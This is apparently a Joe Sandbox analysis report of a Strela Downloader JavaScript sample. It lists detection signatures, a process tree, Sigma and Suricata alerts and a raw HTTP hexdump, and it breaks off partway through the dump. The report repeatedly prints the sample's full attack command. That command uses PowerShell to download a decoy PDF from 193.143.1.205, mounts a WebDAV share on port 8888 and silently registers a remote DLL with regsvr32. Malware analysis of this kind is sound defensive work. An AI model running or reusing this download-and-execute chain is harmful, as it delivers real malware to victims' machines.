Edit tour

Windows Analysis Report
293459661900119816.js

Overview

General Information

Sample name:	293459661900119816.js
Analysis ID:	1588790
MD5:	a0e8a47e255ee413332fb8c14bf57d12
SHA1:	adcf0ecae2795f409127a8a3498afb3eb5cbd3d2
SHA256:	c94c17b4f52ff5af6dd6de8c1120f118a85ab3d4940ba45f1592453034d75083
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7068 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6412 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 592 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1736,i,7282805556683548627,7091639814535454976,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3192 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 368 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6596 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7068	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 592, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 592, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", ProcessId: 7068, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 368, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49727

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7068, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 6412, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7068, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 6412, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7068, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 6412, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7068, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 6412, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7068, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 6412, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", ProcessId: 7068, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 592, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3192, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 368, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6596, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3192, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 368, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7068, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 6412, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:33:53.756815+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:33:56.058868+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49727	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:33:53.756815+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 293459661900119816.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 293459661900119816.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49711 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49727 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:33:53 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 